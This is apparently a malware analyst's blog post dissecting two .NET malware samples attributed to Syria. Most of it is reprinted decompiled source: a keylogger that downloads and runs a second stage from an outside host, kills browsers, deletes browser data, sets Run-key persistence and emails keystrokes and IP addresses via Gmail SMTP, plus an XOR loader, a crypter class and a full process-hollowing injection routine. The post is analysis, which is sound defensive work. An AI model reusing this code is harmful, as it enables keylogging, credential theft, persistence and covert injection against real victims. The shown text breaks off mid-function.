Syrian Malware 2 – Electric Boogaloo

Back for part 2 are we? Let’s get this show on the road. We’ve seen how awful the first piece of malware was in terms of how it was thrown together in all but 10 minutes, but you aint seen nothing yet. The next one actually embeds passwords inside and even email addresses. After that, I’ll go over a little more complicated example which uses reflection and a laughable encryption routine complete with code to decrypt. I’ll even include the source code.

Filename: MyLogerMailEnd.exe
MD5 Hash: 7D867D6BD5FC3015A31FDFA121BA9187
Detection ratio: 42 / 50

Yet another .net binary straight outta Syria. binary ships with multiple classes. The first one that stands out is a class for logging keystrokes, unless you can think of another reason to name your class ‘keyboard’ and make use of the API SetWindowsHookExA(). For those of you who don’t know, you can use this API to trap window messages / keyboard events and extract the virtual key codes from each for logging. A method as old as windows itself.
mylog1

Now let’s go over the code in the ‘Form’ class. It’s rather interesting.

private void Form1_Load(object sender, EventArgs e)
{
	try
	{
		bool flag = !File.Exists("c:\\d.doc");
		if (flag)
		{
			MyProject.Computer.Network.DownloadFile("http://www.ckku.com/includes/d.doc", "c:\\Windows\\d.doc");
		}
		Thread.Sleep(4000);
		flag = File.Exists("c:\\Windows\\d.doc");
		if (flag)
		{
			Process.Start("c:\\Windows\\d.doc");
		}
	}
	catch (Exception expr_59)
	{
		ProjectData.SetProjectError(expr_59);
		ProjectData.ClearProjectError();
	}
	Thread.Sleep(30000);
	this.Hide();
	this.k.CreateHook();
	Process[] processesByName = Process.GetProcessesByName("iexplore");
	Process[] processesByName2 = Process.GetProcessesByName("firefox");
	Process[] processesByName3 = Process.GetProcessesByName("chrome");
	Process[] processesByName4 = Process.GetProcessesByName("opera");
	Process[] processesByName5 = Process.GetProcessesByName("Safari");
	Process[] processesByName6 = Process.GetProcessesByName("keyscrambler");
	Process[] processesByName7 = Process.GetProcessesByName("Skype");
	checked
	{
		try
		{
			Process[] array = processesByName;
			for (int i = 0; i < array.Length; i++)
			{
				Process process = array[i];
				process.Kill();
			}
			Process[] array2 = processesByName2;
			for (int j = 0; j < array2.Length; j++)
			{
				Process process2 = array2[j];
				process2.Kill();
			}
			Process[] array3 = processesByName3;
			for (int k = 0; k < array3.Length; k++)
			{
				Process process3 = array3[k];
				process3.Kill();
			}
			Process[] array4 = processesByName4;
			for (int l = 0; l < array4.Length; l++)
			{
				Process process4 = array4[l];
				process4.Kill();
			}
			Process[] array5 = processesByName5;
			for (int m = 0; m < array5.Length; m++)
			{
				Process process5 = array5[m];
				process5.Kill();
			}
			Process[] array6 = processesByName6;
			for (int n = 0; n < array6.Length; n++)
			{
				Process process6 = array6[n];
				process6.Kill();
			}
			Process[] array7 = processesByName7;
			for (int num = 0; num < array7.Length; num++)
			{
				Process process7 = array7[num];
				process7.Kill();
			}
			string text = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
			text += "\\Mozilla\\Firefox\\Profiles\\";
			MyProject.Computer.FileSystem.DeleteDirectory(text, DeleteDirectoryOption.DeleteAllContents);
			string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
			text += "\\Google\\Chrome\\User Data\\Default\\";
			MyProject.Computer.FileSystem.DeleteDirectory(folderPath, DeleteDirectoryOption.DeleteAllContents);
			string folderPath2 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
			text += "\\Opera\\Opera\\cache\\";
			MyProject.Computer.FileSystem.DeleteDirectory(folderPath2, DeleteDirectoryOption.DeleteAllContents);
			folderPath2 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
			text += "\\Apple Computer\\Safari\\History\\";
			string directory;
			MyProject.Computer.FileSystem.DeleteDirectory(directory, DeleteDirectoryOption.DeleteAllContents);
			folderPath2 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
			text += "\\Microsoft\\Windows\\Temporary Internet Files\\";
			string directory2;
			MyProject.Computer.FileSystem.DeleteDirectory(directory2, DeleteDirectoryOption.DeleteAllContents);
		}
		catch (Exception expr_2EA)
		{
			ProjectData.SetProjectError(expr_2EA);
			ProjectData.ClearProjectError();
		}
		string text2 = this.RichTextBox1.Text;
		bool flag = text2.Contains("facebook") | text2.Contains("FACEBOOK") | text2.Contains("hotmail") | text2.Contains("HOTMAIL") | text2.Contains("yahoo") | text2.Contains("YAHOO") | text2.Contains("GMAIL") | text2.Contains("gmail");
		if (flag)
		{
		}
		string text3 = "C:\\Users\\system.exe";
		string text4 = "C:\\Windows\\system.exe";
		string text5 = "D:\\system.exe";
		try
		{
			flag = !File.Exists(text3);
			if (flag)
			{
				string fileName = Path.GetFileName(Application.ExecutablePath);
				MyProject.Computer.FileSystem.CopyFile(fileName, text3, true);
				File.SetAttributes(text3, File.GetAttributes(text3) | FileAttributes.Hidden);
			}
			else
			{
				flag = !File.Exists(text4);
				if (flag)
				{
					string fileName2 = Path.GetFileName(Application.ExecutablePath);
					MyProject.Computer.FileSystem.CopyFile(fileName2, text4, true);
					File.SetAttributes(text4, File.GetAttributes(text4) | FileAttributes.Hidden);
				}
				else
				{
					flag = !File.Exists(text5);
					if (flag)
					{
						string fileName3 = Path.GetFileName(Application.ExecutablePath);
						MyProject.Computer.FileSystem.CopyFile(fileName3, text5, true);
						File.SetAttributes(text5, File.GetAttributes(text5) | FileAttributes.Hidden);
					}
				}
			}
		}
		catch (Exception expr_44A)
		{
			ProjectData.SetProjectError(expr_44A);
			ProjectData.ClearProjectError();
		}
		try
		{
			RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
			registryKey.SetValue("System1", "\"" + text3 + "\"");
			registryKey.Close();
			registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
			registryKey.SetValue("System2", "\"" + text4 + "\"");
			registryKey.Close();
			registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
			registryKey.SetValue("System2", "\"" + text5 + "\"");
			registryKey.Close();
		}
		catch (Exception expr_503)
		{
			ProjectData.SetProjectError(expr_503);
			ProjectData.ClearProjectError();
		}
	}
}

It starts off by checking for the contents of the file ‘d.doc’ in the windows directory. If the file doesn’t exist (ie; first run), then it attempts to download the file from “http://www.ckku.com/includes/d.doc”, likely some hacked site used to deliver stage 3. Next it checks to see if any browsers are running as well as Skype, and ‘keyscrambler’ – an anti key logging program. It then attempts to kill said processes. After that, the malware copies itself to the locations C:\\Users\\system.exe, C:\\Windows\\system.exe, and D:\\system.exe and sets the file flags as hidden. Finally, it adds itself to start up using the all to familiar registry key “HKLM\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run”.

That’s fine and dandy, but let’s bring on the fail shall we?
There are 3 timer objects, set to go off every 30 seconds or so.
Timer1:

private void Timer1_Tick(object sender, EventArgs e)
{
	bool flag = this.isRunning("skype.exe");
	if (flag)
	{
		bool flag2 = this.RichTextBox2.TextLength > 0;
		if (flag2)
		{
			try
			{
				HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("http://automation.whatismyip.com/n09230945.asp");
				HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
				Stream responseStream = httpWebResponse.GetResponseStream();
				StreamReader streamReader = new StreamReader(responseStream);
				string str = streamReader.ReadToEnd();
				MailMessage mailMessage = new MailMessage();
				mailMessage.From = new MailAddress("[email protected]");
				mailMessage.To.Add("[email protected]");
				mailMessage.To.Add("[email protected]");
				mailMessage.Subject = "New Message Skype Account from" + MyProject.User.Name;
				mailMessage.Body = "Ip Addres Is : " + str + "\r\n" + this.RichTextBox2.Text;
				new SmtpClient("smtp.gmail.com")
				{
					Port = 587,
					Credentials = new NetworkCredential("[email protected]", "[email protected])"),
					EnableSsl = true
				}.Send(mailMessage);
				this.RichTextBox2.Text = "";
			}
			catch (Exception expr_12D)
			{
				ProjectData.SetProjectError(expr_12D);
				ProjectData.ClearProjectError();
			}
		}
		else
		{
			this.RichTextBox2.Text = "";
		}
	}
}

Timer 2:

private void Timer2_Tick(object sender, EventArgs e)
{
	try
	{
		HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("http://automation.whatismyip.com/n09230945.asp");
		HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
		Stream responseStream = httpWebResponse.GetResponseStream();
		StreamReader streamReader = new StreamReader(responseStream);
		string str = streamReader.ReadToEnd();
		string text = this.RichTextBox1.Text;
		bool flag = text.Contains("facebook") | text.Contains("FACEBOOK") | text.Contains("hotmail") | text.Contains("HOTMAIL") | text.Contains("yahoo") | text.Contains("YAHOO") | text.Contains("GMAIL") | text.Contains("gmail");
		if (flag)
		{
			this.Timer2.Start();
			MailMessage mailMessage = new MailMessage();
			mailMessage.From = new MailAddress("[email protected]");
			mailMessage.To.Add("[email protected]");
			mailMessage.To.Add("[email protected]");
			mailMessage.Subject = "New Account From " + MyProject.User.Name;
			mailMessage.Body = "Ip Addres Is : " + str + "\r\n" + this.RichTextBox1.Text;
			new SmtpClient("smtp.gmail.com")
			{
				Port = 587,
				Credentials = new NetworkCredential("[email protected]", "[email protected])"),
				EnableSsl = true
			}.Send(mailMessage);
			this.RichTextBox1.Text = "";
		}
		else
		{
			this.RichTextBox1.Text = "";
		}
	}
	catch (Exception expr_19E)
	{
		ProjectData.SetProjectError(expr_19E);
		ProjectData.ClearProjectError();
	}
}

And last but not least, timer 3:

private void Timer3_Tick(object sender, EventArgs e)
{
	bool flag = this.isRunning("skype.exe");
	if (flag)
	{
		bool flag2 = this.RichTextBox2.TextLength > 0;
		if (flag2)
		{
			try
			{
				HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("http://automation.whatismyip.com/n09230945.asp");
				HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
				Stream responseStream = httpWebResponse.GetResponseStream();
				StreamReader streamReader = new StreamReader(responseStream);
				string str = streamReader.ReadToEnd();
				MailMessage mailMessage = new MailMessage();
				mailMessage.From = new MailAddress("[email protected]");
				mailMessage.To.Add("[email protected]");
				mailMessage.To.Add("[email protected]");
				mailMessage.Subject = "New Message Skype Account from" + MyProject.User.Name;
				mailMessage.Body = "Ip Addres Is : " + str + "\r\n" + this.RichTextBox2.Text;
				new SmtpClient("smtp.gmail.com")
				{
					Port = 587,
					Credentials = new NetworkCredential("[email protected]", "[email protected]))"),
					EnableSsl = true
				}.Send(mailMessage);
				this.RichTextBox2.Text = "";
			}
			catch (Exception expr_12D)
			{
				ProjectData.SetProjectError(expr_12D);
				ProjectData.ClearProjectError();
			}
		}
		else
		{
			this.RichTextBox2.Text = "";
		}
	}
}

1404838449738

That’s right, included in the drop is the gmail user / password. And before you check, I’ll save you time – google already locked out the accounts.

All in all, the malware attempts to download and run a second binary, starts logging keystrokes, kills the browsers, and loads itself on startup, all the while sending the keystrokes and IP address to some gmail address.

Now for the second binary.

Filename: derp_syria.exe
MD5 Hash: C09D23A8E44C3170E9AF0132788FCEB0
Detection ratio: 44 / 49

It is of course a .net binary (surprise surprise). First introspection when opened up in .net decompiler we see a binary stream in the form of a resource file.

syr1
And a look see at the file:
syr3
Definitely something to this judging by its size and repetition of characters. We’ll come back to that later.

Peeking at the source code of the main method / classes, we see how malware uses this benign resource file.

using Project1_Remake.Properties;
using System;
using System.ComponentModel;
using System.Reflection;
using System.Text;
namespace Project1_Remake
{
	public class Component1 : Component
	{
		private static byte[] myShit = Convert.FromBase64String(Resources.String1);
		private static string whatacrap = "Doc";
		private static byte myFirstbyte;
		private static byte[] myFirstarraybyte;
		private static byte[] mySecondarraybyte;
		private static int nysKO = 0;
		private IContainer components;
		public static byte[] polyMal()
		{
			Array.Reverse(Component1.myShit);
			Component1.myFirstbyte = Component1.myShit[Component1.myShit.Length - 1];
			Component1.myFirstarraybyte = Encoding.ASCII.GetBytes(Component1.whatacrap);
			Component1.mySecondarraybyte = new byte[Component1.myShit.Length + 1];
			for (int i = 0; i <= Component1.myShit.Length - 1; i++)
			{
				Component1.mySecondarraybyte[i] = Convert.ToByte((int)(Component1.myShit[i] ^ Component1.myFirstbyte ^ Component1.myFirstarraybyte[Component1.nysKO]));
				Array.Reverse(Component1.myFirstarraybyte);
				if (Component1.nysKO == Component1.myFirstarraybyte.Length - 1)
				{
					Component1.nysKO = 0;
				}
				else
				{
					Component1.nysKO++;
				}
			}
			Array.Resize<byte>(ref Component1.mySecondarraybyte, Component1.mySecondarraybyte.Length - 2);
			return Component1.mySecondarraybyte;
		}
		private static void Main()
		{
			byte[] rawAssembly = Component1.polyMal();
			Assembly assembly = AppDomain.CurrentDomain.Load(rawAssembly);
			Type type = assembly.GetType("Project1.ue4tretr");
			MethodInfo method = type.GetMethod("tuy5u6ruy");
			method.Invoke(null, null);
		}
		protected override void Dispose(bool disposing)
		{
			if (disposing && this.components != null)
			{
				this.components.Dispose();
			}
			base.Dispose(disposing);
		}
		private void InitializeComponent()
		{
			this.components = new Container();
		}
	}
}

using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Globalization;
using System.Resources;
using System.Runtime.CompilerServices;
namespace Project1_Remake.Properties
{
	[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), DebuggerNonUserCode, CompilerGenerated]
	internal class Resources
	{
		private static ResourceManager resourceMan;
		private static CultureInfo resourceCulture;
		[EditorBrowsable(EditorBrowsableState.Advanced)]
		internal static ResourceManager ResourceManager
		{
			get
			{
				if (object.ReferenceEquals(Resources.resourceMan, null))
				{
					ResourceManager resourceManager = new ResourceManager("Project1_Remake.Properties.Resources", typeof(Resources).Assembly);
					Resources.resourceMan = resourceManager;
				}
				return Resources.resourceMan;
			}
		}
		[EditorBrowsable(EditorBrowsableState.Advanced)]
		internal static CultureInfo Culture
		{
			get
			{
				return Resources.resourceCulture;
			}
			set
			{
				Resources.resourceCulture = value;
			}
		}
		internal static string String1
		{
			get
			{
				return Resources.ResourceManager.GetString("String1", Resources.resourceCulture);
			}
		}
		internal Resources()
		{
		}
	}
}

Ya like that eh? Rot 13 meets XOR. The beauty of .net is how easy it is to rip off other people’s code. And that’s what I’m gonna do now, in order to get to payload of this malware – what it intends to run. Instead of launching with the ‘method.invoke()’ call, I’m just writing the contents of the byte stream to a file for analysis:
syr2

After running, we can now pick apart the contents of ‘lolfile.joe’ and yes, it IS another .net binary.

Filename: lolfail.joe
MD5 Hash: 0AB60A0C36A61054E094DB02CB30EF38
Detection Ratio: Unknown

Here’s ‘lolfile.joe’ in the disassembler:
syr6

And before you say it, yes, there IS another binary in the resources! Not encrypted this time, but still.
syr4

Here it is again in the decompiler. Very convoluted, but not encrypted. I wouldn’t even say obfuscated, just arranged weird:
syr5

This new binary does nothing more than place the binary ‘sppnp.exe’ on startup using the registry. Not very interesting.

Let’s focus on the interesting stuff now. The first class named ‘RuntimePortableExecutable’ contains methods for the creation and execution of an exe file via injection or process hollowing. The API’s that stand out and make this evident are WriteProcessMemory, VirtualProtectEx, ResumeThread, ZwUnmapViewOfSection, GetThreadContext, and SetThreadContext.

Two methods that stand out are used for the creation / injection of an exe into a processes’ memory. There’s a method for windows xp, and windows 7:

XP

public static void WindowsXp(byte[] data, string target)
		{
			RuntimePortableExecutable.Context context = default(RuntimePortableExecutable.Context);
			RuntimePortableExecutable.ProcessInformation processInformation = default(RuntimePortableExecutable.ProcessInformation);
			RuntimePortableExecutable.StartupInformation startupInformation = default(RuntimePortableExecutable.StartupInformation);
			RuntimePortableExecutable.SecurityFlags securityFlags = default(RuntimePortableExecutable.SecurityFlags);
			RuntimePortableExecutable.SecurityFlags securityFlags2 = default(RuntimePortableExecutable.SecurityFlags);
			GCHandle gCHandle = GCHandle.Alloc(data, GCHandleType.Pinned);
			IntPtr intPtr = gCHandle.AddrOfPinnedObject();
			int num = intPtr.ToInt32();
			RuntimePortableExecutable.DosHeader dosHeader;
			object expr_59 = Marshal.PtrToStructure(gCHandle.AddrOfPinnedObject(), dosHeader.GetType());
			RuntimePortableExecutable.DosHeader dosHeader2;
			dosHeader = ((expr_59 != null) ? ((RuntimePortableExecutable.DosHeader)expr_59) : dosHeader2);
			gCHandle.Free();
			string text = null;
			bool arg_8B_4 = false;
			uint arg_8B_5 = 4u;
			IntPtr intPtr2;
			IntPtr arg_8B_6 = intPtr2;
			string text2 = null;
			if (!(-(RuntimePortableExecutable.CreateProcess(ref text, ref target, ref securityFlags, ref securityFlags2, arg_8B_4, arg_8B_5, arg_8B_6, ref text2, ref startupInformation, out processInformation) > false)))
			{
				return;
			}
			intPtr = new IntPtr(num + dosHeader.Address);
			RuntimePortableExecutable.NtHeaders ntHeaders;
			object expr_BB = Marshal.PtrToStructure(intPtr, ntHeaders.GetType());
			RuntimePortableExecutable.NtHeaders ntHeaders2;
			ntHeaders = ((expr_BB != null) ? ((RuntimePortableExecutable.NtHeaders)expr_BB) : ntHeaders2);
			startupInformation.CB = Strings.Len(startupInformation);
			context.Flags = 65538u;
			if ((ulong)ntHeaders.Signature != 17744uL | dosHeader.Magic != 23117)
			{
				return;
			}
			bool arg_163_0 = RuntimePortableExecutable.GetThreadContext(processInformation.Thread, ref context);
			IntPtr arg_150_0 = processInformation.Process;
			IntPtr arg_150_1 = (IntPtr)((long)((ulong)context.Ebx + 8uL));
			long num2;
			intPtr = (IntPtr)num2;
			IntPtr arg_150_3 = (IntPtr)4;
			int num3 = 0;
			int arg_15E_0 = RuntimePortableExecutable.ReadProcessMemory(arg_150_0, arg_150_1, ref intPtr, arg_150_3, ref num3);
			num2 = (long)intPtr;
			if (arg_163_0 & arg_15E_0 >= 0 & RuntimePortableExecutable.ZwUnmapViewOfSection(processInformation.Process, (IntPtr)num2) >= 0L)
			{
				uint num4 = (uint)((int)RuntimePortableExecutable.VirtualAllocEx(processInformation.Process, (IntPtr)((long)((ulong)ntHeaders.Optional.Image)), ntHeaders.Optional.SImage, 12288u, 4u));
				if ((ulong)num4 != 0uL)
				{
					IntPtr arg_1EC_0 = processInformation.Process;
					IntPtr arg_1EC_1 = (IntPtr)((long)((ulong)num4));
					IntPtr arg_1EC_3 = (IntPtr)((long)((ulong)ntHeaders.Optional.SHeaders));
					uint num5;
					num3 = (int)num5;
					RuntimePortableExecutable.WriteProcessMemory(arg_1EC_0, arg_1EC_1, data, arg_1EC_3, out num3);
					num5 = (uint)num3;
					long num6 = (long)(dosHeader.Address + 248);
					int arg_217_0 = 0;
					int num7 = (int)(ntHeaders.File.Sections - 1);
					for (int i = arg_217_0; i <= num7; i++)
					{
						intPtr = new IntPtr((long)num + num6 + (long)(i * 40));
						RuntimePortableExecutable.SectionHeader sectionHeader;
						object expr_244 = Marshal.PtrToStructure(intPtr, sectionHeader.GetType());
						RuntimePortableExecutable.SectionHeader sectionHeader2;
						sectionHeader = ((expr_244 != null) ? ((RuntimePortableExecutable.SectionHeader)expr_244) : sectionHeader2);
						byte[] array = new byte[sectionHeader.Size + 1u];
						int arg_277_0 = 0;
						int num8 = (int)((ulong)sectionHeader.Size - 1uL);
						for (int j = arg_277_0; j <= num8; j++)
						{
							array[j] = data[(int)((ulong)sectionHeader.Pointer + (ulong)((long)j))];
						}
						IntPtr arg_2C7_0 = processInformation.Process;
						IntPtr arg_2C7_1 = (IntPtr)((long)((ulong)(num4 + sectionHeader.Address)));
						byte[] arg_2C7_2 = array;
						IntPtr arg_2C7_3 = (IntPtr)((long)((ulong)sectionHeader.Size));
						num3 = (int)num5;
						RuntimePortableExecutable.WriteProcessMemory(arg_2C7_0, arg_2C7_1, arg_2C7_2, arg_2C7_3, out num3);
						num5 = (uint)num3;
						RuntimePortableExecutable.VirtualProtectEx(processInformation.Process, (IntPtr)((long)((ulong)(num4 + sectionHeader.Address))), (UIntPtr)sectionHeader.Misc.Size, (UIntPtr)((ulong)RuntimePortableExecutable.Protect((long)((ulong)sectionHeader.Flags))), (uint)num2);
					}
					byte[] bytes = BitConverter.GetBytes(num4);
					IntPtr arg_350_0 = processInformation.Process;
					IntPtr arg_350_1 = (IntPtr)((long)((ulong)context.Ebx + 8uL));
					byte[] arg_350_2 = bytes;
					IntPtr arg_350_3 = (IntPtr)4;
					num3 = (int)num5;
					RuntimePortableExecutable.WriteProcessMemory(arg_350_0, arg_350_1, arg_350_2, arg_350_3, out num3);
					num5 = (uint)num3;
					context.Eax = num4 + ntHeaders.Optional.Address;
					RuntimePortableExecutable.SetThreadContext(processInformation.Thread, ref context);
					RuntimePortableExecutable.ResumeThread(processInformation.Thread);
				}
			}
		}

Win7

public static void Windows7(byte[] data, string target)
		{
			RuntimePortableExecutable.Context context = default(RuntimePortableExecutable.Context);
			RuntimePortableExecutable.ProcessInformation processInformation = default(RuntimePortableExecutable.ProcessInformation);
			RuntimePortableExecutable.StartupInformation startupInformation = default(RuntimePortableExecutable.StartupInformation);
			RuntimePortableExecutable.SecurityFlags securityFlags = default(RuntimePortableExecutable.SecurityFlags);
			RuntimePortableExecutable.SecurityFlags securityFlags2 = default(RuntimePortableExecutable.SecurityFlags);
			GCHandle gCHandle = GCHandle.Alloc(data, GCHandleType.Pinned);
			IntPtr ptr = gCHandle.AddrOfPinnedObject();
			int num = ptr.ToInt32();
			RuntimePortableExecutable.DosHeader dosHeader;
			object expr_58 = Marshal.PtrToStructure(gCHandle.AddrOfPinnedObject(), dosHeader.GetType());
			RuntimePortableExecutable.DosHeader dosHeader2;
			dosHeader = ((expr_58 != null) ? ((RuntimePortableExecutable.DosHeader)expr_58) : dosHeader2);
			gCHandle.Free();
			string text = null;
			bool arg_8A_4 = false;
			uint arg_8A_5 = 4u;
			IntPtr intPtr;
			IntPtr arg_8A_6 = intPtr;
			string text2 = null;
			if (!(-(RuntimePortableExecutable.CreateProcess(ref text, ref target, ref securityFlags, ref securityFlags2, arg_8A_4, arg_8A_5, arg_8A_6, ref text2, ref startupInformation, out processInformation) > false)))
			{
				return;
			}
			ptr = new IntPtr(num + dosHeader.Address);
			RuntimePortableExecutable.NtHeaders ntHeaders;
			object expr_BA = Marshal.PtrToStructure(ptr, ntHeaders.GetType());
			RuntimePortableExecutable.NtHeaders ntHeaders2;
			ntHeaders = ((expr_BA != null) ? ((RuntimePortableExecutable.NtHeaders)expr_BA) : ntHeaders2);
			startupInformation.CB = Strings.Len(startupInformation);
			context.Flags = 65538u;
			if ((ulong)ntHeaders.Signature != 17744uL | dosHeader.Magic != 23117)
			{
				return;
			}
			bool arg_15A_0 = RuntimePortableExecutable.GetThreadContext(processInformation.Thread, ref context);
			IntPtr arg_14F_0 = processInformation.Process;
			IntPtr arg_14F_1 = (IntPtr)((long)((ulong)context.Ebx + 8uL));
			ptr = (IntPtr)0;
			IntPtr arg_14F_3 = (IntPtr)4;
			int num2 = 0;
			if (arg_15A_0 & RuntimePortableExecutable.ReadProcessMemory(arg_14F_0, arg_14F_1, ref ptr, arg_14F_3, ref num2) >= 0 & RuntimePortableExecutable.ZwUnmapViewOfSection(processInformation.Process, (IntPtr)0) >= 0L)
			{
				uint num3 = (uint)((int)RuntimePortableExecutable.VirtualAllocEx(processInformation.Process, (IntPtr)((long)((ulong)ntHeaders.Optional.Image)), ntHeaders.Optional.SImage, 12288u, 4u));
				if ((ulong)num3 != 0uL)
				{
					IntPtr arg_1E3_0 = processInformation.Process;
					IntPtr arg_1E3_1 = (IntPtr)((long)((ulong)num3));
					IntPtr arg_1E3_3 = (IntPtr)((long)((ulong)ntHeaders.Optional.SHeaders));
					uint num4;
					num2 = (int)num4;
					RuntimePortableExecutable.WriteProcessMemory(arg_1E3_0, arg_1E3_1, data, arg_1E3_3, out num2);
					num4 = (uint)num2;
					long num5 = (long)(dosHeader.Address + 248);
					int arg_20E_0 = 0;
					int num6 = (int)(ntHeaders.File.Sections - 1);
					for (int i = arg_20E_0; i <= num6; i++)
					{
						ptr = new IntPtr((long)num + num5 + (long)(i * 40));
						RuntimePortableExecutable.SectionHeader sectionHeader;
						object expr_23B = Marshal.PtrToStructure(ptr, sectionHeader.GetType());
						RuntimePortableExecutable.SectionHeader sectionHeader2;
						sectionHeader = ((expr_23B != null) ? ((RuntimePortableExecutable.SectionHeader)expr_23B) : sectionHeader2);
						byte[] array = new byte[sectionHeader.Size + 1u];
						int arg_26E_0 = 0;
						int num7 = (int)((ulong)sectionHeader.Size - 1uL);
						for (int j = arg_26E_0; j <= num7; j++)
						{
							array[j] = data[(int)((ulong)sectionHeader.Pointer + (ulong)((long)j))];
						}
						IntPtr arg_2BE_0 = processInformation.Process;
						IntPtr arg_2BE_1 = (IntPtr)((long)((ulong)(num3 + sectionHeader.Address)));
						byte[] arg_2BE_2 = array;
						IntPtr arg_2BE_3 = (IntPtr)((long)((ulong)sectionHeader.Size));
						num2 = (int)num4;
						RuntimePortableExecutable.WriteProcessMemory(arg_2BE_0, arg_2BE_1, arg_2BE_2, arg_2BE_3, out num2);
						num4 = (uint)num2;
						RuntimePortableExecutable.VirtualProtectEx(processInformation.Process, (IntPtr)((long)((ulong)(num3 + sectionHeader.Address))), (UIntPtr)sectionHeader.Misc.Size, (UIntPtr)((ulong)RuntimePortableExecutable.Protect((long)((ulong)sectionHeader.Flags))), 0u);
					}
					byte[] bytes = BitConverter.GetBytes(num3);
					IntPtr arg_346_0 = processInformation.Process;
					IntPtr arg_346_1 = (IntPtr)((long)((ulong)context.Ebx + 8uL));
					byte[] arg_346_2 = bytes;
					IntPtr arg_346_3 = (IntPtr)4;
					num2 = (int)num4;
					RuntimePortableExecutable.WriteProcessMemory(arg_346_0, arg_346_1, arg_346_2, arg_346_3, out num2);
					num4 = (uint)num2;
					context.Eax = num3 + ntHeaders.Optional.Address;
					RuntimePortableExecutable.SetThreadContext(processInformation.Thread, ref context);
					RuntimePortableExecutable.ResumeThread(processInformation.Thread);
				}
			}
		}
	

The ‘ue4tretr’ class is the most interesting. The ‘ThirdXorr’ method is, as you would probably guess, a class devoted to decryption of a bytestream passed to it. Code time:

using System;
using System.Text;
namespace Project1
{
	public class ThirdXorr
	{
		private string _defKey;
		public string Key
		{
			get
			{
				return this._defKey;
			}
			set
			{
				this._defKey = value;
			}
		}
		public ThirdXorr(string Key)
		{
			this._defKey = "";
			this.Key = Key;
		}
		public ThirdXorr()
		{
			this._defKey = "";
			this.Key = "";
		}
		public string PolyCrypt(string data)
		{
			return Encoding.Default.GetString(this.PolyCrypt(Encoding.Default.GetBytes(data)));
		}
		public string PolyDeCrypt(string data)
		{
			return Encoding.Default.GetString(this.PolyDeCrypt(Encoding.Default.GetBytes(data)));
		}
		public byte[] PolyCrypt(byte[] data)
		{
			byte[] array = new byte[data.Length + 1];
			array[0] = Convert.ToByte(new Random().Next(1, 255));
			int arg_2A_0 = 0;
			int num = data.Length - 1;
			for (int i = arg_2A_0; i <= num; i++)
			{
				array[i + 1] = ThirdXorr.ModuloByte(array[i], (short)data[i]);
			}
			return ThirdXorr.XorCrypt(array, Encoding.Default.GetBytes(this.Key));
		}
		public byte[] PolyDeCrypt(byte[] data)
		{
			data = ThirdXorr.XorCrypt(data, Encoding.Default.GetBytes(this.Key));
			byte[] array = new byte[data.Length - 2 + 1];
			for (int i = data.Length - 1; i >= 1; i += -1)
			{
				array[i - 1] = ThirdXorr.ModuloByte(data[i], (short)(-(short)data[i - 1]));
			}
			return array;
		}
		private static byte ModuloByte(byte myByte, short addition)
		{
			while (addition < 0)
			{
				addition += 256;
			}
			return Convert.ToByte((int)(((short)myByte + addition) % 256));
		}
		private static byte[] XorCrypt(byte[] data, byte[] Key)
		{
			if (Key.Length != 0)
			{
				int arg_0D_0 = 0;
				int num = data.Length - 1;
				for (int i = arg_0D_0; i <= num; i++)
				{
					data[i] = (data[i] ^ ThirdXorr.ModuloByte(Key[i % Key.Length], (short)Key[(int)Key[i % Key.Length] % Key.Length]) ^ Key[(i + i % 7) % Key.Length % Key.Length]);
				}
			}
			return data;
		}
		public string XorCrypt(string data)
		{
			return this.XorCrypt(data, null);
		}
		public string XorCrypt(string data, string Key)
		{
			return Encoding.Default.GetString(ThirdXorr.XorCrypt(Encoding.Default.GetBytes(data), Encoding.Default.GetBytes(Key)));
		}
	}
}

The ‘ue4tretr’ class is the main class and the real meat and potatoes of the malware binary. It contains multiple interesting methods for injection, persistance, and all of the IOC goodies us malware analysts like to flag. Observe:

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Project1.My.Resources;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Globalization;
using System.IO;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
namespace Project1
{
	[StandardModule]
	internal sealed class ue4tretr
	{
		private static string Spy = "ofemeiecumestitu";
		private static string _fa1;
		private static string _fa2;
		private static string _fa3;
		private static string _fa4;
		private static string _fa5;
		private static byte[] _byteArray;
		private static SymmetricAlgorithm _algorithm = new RijndaelManaged();
		[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
		public static void tuy5u6ruy()
		{
			FileSystem.FileOpen(1, Process.GetCurrentProcess().MainModule.FileName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1);
			string expression = Strings.Space((int)FileSystem.LOF(1));
			FileSystem.FileGet(1, ref expression, -1L, false);
			FileSystem.FileClose(new int[]
			{
				1
			});
			string[] array = Strings.Split(expression, ue4tretr.Spy, -1, CompareMethod.Binary);
			ThirdXorr thirdXorr = new ThirdXorr(array[2]);
			string s = thirdXorr.PolyDeCrypt(array[1]);
			ue4tretr._fa1 = array[3];
			ue4tretr._fa2 = array[4];
			ue4tretr._fa3 = array[5];
			ue4tretr._fa4 = array[6];
			ue4tretr._fa5 = array[7];
			if (Operators.CompareString(ue4tretr._fa1, true.ToString(CultureInfo.InvariantCulture), false) == 0)
			{
				ue4tretr.Melt();
			}
